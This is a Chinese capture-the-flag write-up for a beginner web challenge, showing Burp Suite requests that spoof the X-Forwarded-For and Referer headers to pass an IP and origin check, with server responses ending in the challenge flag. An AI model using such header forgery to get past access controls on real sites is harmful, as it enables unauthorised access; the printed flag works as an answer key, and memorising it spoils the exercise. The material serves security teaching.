题目描述
X老师告诉小宁其实xff和referer是可以伪造的。
打开场景,得到提示”ip地址必须为123.123.123.123“
解题
使用burpsuite抓包,报文如下
1 2 3 4 5 6 7 8 9 10 11
| GET / HTTP/1.1 Host: 111.200.241.244:53941 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
|
将报文发至重发器,伪造xff
1 2 3 4 5 6 7 8 9 10 11 12
| GET / HTTP/1.1 X-Forwarded-For: 123.123.123.123 Host: 111.200.241.244:53941 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
|
得到响应包如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| HTTP/1.1 200 OK Date: Thu, 09 Dec 2021 13:06:54 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.26 Vary: Accept-Encoding Content-Length: 525 Connection: close Content-Type: text/html
<html> <head> <meta charset="UTF-8"> <title>index</title> <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" /> <style> body{ margin-left:auto; margin-right:auto; margin-TOP:200PX; width:20em; } </style> </head> <body> <p id="demo">ip地址必须为123.123.123.123</p> <script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script></body> </html>
|
接着根据”必须来自https://www.google.com"伪造HTTP来源地址。
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET / HTTP/1.1 referer: https://www.google.com X-Forwarded-For: 123.123.123.123 Host: 111.200.241.244:53941 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
|
得到含flag的响应包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| HTTP/1.1 200 OK Date: Thu, 09 Dec 2021 13:13:25 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.26 Vary: Accept-Encoding Content-Length: 631 Connection: close Content-Type: text/html
<html> <head> <meta charset="UTF-8"> <title>index</title> <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" /> <style> body{ margin-left:auto; margin-right:auto; margin-TOP:200PX; width:20em; } </style> </head> <body> <p id="demo">ip地址必须为123.123.123.123</p> <script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script><script>document.getElementById("demo").innerHTML="cyberpeace{5dcd02fae972af4a95f448a08f699d1b}";</script></body> </html>
|